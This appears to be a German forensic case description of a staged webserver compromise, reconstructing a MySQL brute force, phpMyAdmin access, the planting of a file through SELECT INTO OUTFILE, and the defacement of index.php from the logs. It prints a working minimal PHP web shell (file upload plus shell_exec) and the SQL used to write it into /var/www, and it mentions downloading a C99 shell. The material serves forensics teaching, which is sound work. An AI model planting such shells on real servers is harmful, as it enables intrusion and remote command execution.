Webserver Fall (W1/W2)

Transcription

Webserver Fall (W1/W2)
Webserver Fall (W1/W2)
In diesem Fall wurde ein Webserver angegriffen und die darauf befindliche Webseite verändert. Der Angriff auf den Webserver beginnt mit einem BruteforceAngriff auf die Mysql Datenbank. Nach ca. 1000 Versuchen hat der BruteforceAngriff Erfolg. Anschließend greift der Angreifer über Phpmyadmin auf den
Mysql-Server zu. Er erstellt dort eine neue Tabelle und fügt in diese PHP-Code
als Text ein. Mit Mysql lassen sich Daten aus Tabellen in Dateien exportieren,
diese Befehle nutzt der Angreifer um den PHP-Code in das /var/www Verzeichnis zu schreiben. Von dort kann der PHP-Code mit dem Browser ausgeführt
werden. Über verschiedene PHP-Skripte wird die “index.php” des Webservers
modifiziert.
chronologischer Ablauf
Bei der Erstellung des Abbildes wurden nicht alle Schritte exakt dokumentiert.
Der hier dargestellte chronologische Ablauf ist daher nur skizzenhaft.
• Installation des Basis System
• Installation von Mysql, Apache, PHP und PHPMyAdmin (per apt-get)
• Herunterladen der Drupal Installationsdateien (wget)
Anmerkung: Drupal ist ein Content Managment System (ähnlich zu
Typo3 oder Joomla!)
• Entpacken der Drupal Dateien in /var/www/drupal
• Installation von Drupal
• Erstellen einer einfachen Webseite
Impressum
Preise
Dienstleistungen etc.
• Anpassung der Konfiguration
Abschalten von App Armor
Mysql Zugriffe über das Netzwerk erlauben
Alle Mysql Queries mitloggen
• Ein zweiter Rechner besucht regelmäßig die Webseite auf dem Webserver
Damit in den Logfiles nicht nur der Angriff zu sehen ist
• Mysql Bruteforce Angriff wird gestartet
• Zugriff auf Phpmyadmin mit root Passwort
Spuren in Apache access.log (”GET /phpmyadmin/index.php?token=8ec622bad53997a2a2159f3ad7
HTTP/1.1”200)
1
• Erstellen der Tabelle “hacked”
Query CREATE TABLE ‘drupal‘.‘hacked‘ (‘code‘ TEXT NOT NULL)
ENGINE = MyISAM
• Einstellen von PHP-Code in Tabelle hacked
INSERT INTO ‘drupal‘.‘hacked‘ (‘code‘) VALUES (’<?
$sendfile = $_REQUEST["sendfile"];
$cmd = $_REQUEST["-cmd"];
if($sendfile == "true") {
$fn = $_FILES["file"]["name"];
$tn = $_FILES["file"]["tmp_name"];
if(move_uploaded_file( $tn , dirname(__FILE__) . "/" . $fn ) )
$result = " <br> <font color = green> upload done </p>";
else
$result = "<br><font color = red> upload failed </p>" ;
}
?>
<html> <body>
<form method=POST>
<input type=TEXT name="-cmd" size=64 value="<?= $cmd ?>">
</form >
<form enctype="multipart /form -data" method = "post" action = " ">
< input type=file name=file size=20 >
< input type="submit" value="Upload" >
<input type="hidden" name="sendfile" value="true"> <?=$result?>
</form>
<pre> <? if($cmd != " ") echo shell_exec($cmd);?> </pre>
</body> </html>’)
• PHP Code von Tabelle auf Dateisystemschreiben
Select * from hacked into outfile ’/var/www/hacked.php‘
• 2 Versuche sind wegen Kodierungsproblemen fehlgeschlagen
insgesamt wurden die Dateien hacked.php, hacked2.php und hacked3.php
auf diese Weise angelegt
• Das Apache Logfile zeigt, dass auf die falsch kodierten Dateien zugegriffen
wurde und diese PHP-Fehler bei der Ausführung gezeigt hat.
• Aus der PHP-Shell wird per wget eine C99.php Shell heruntergeladen
C99.php ist eine komfortable Remoteshell, das Skript aus der Datenbank ist lediglich eine minimale Shell
• In Apache Access Log kann nachvollzogen werden, dass über die C99.php
Shell die Datei index.php aufgerufen wird. Die Zeitstempel der Zugriffszeit
von Apache und letzter Änderungszeit der “index.php” stimmen überein.
2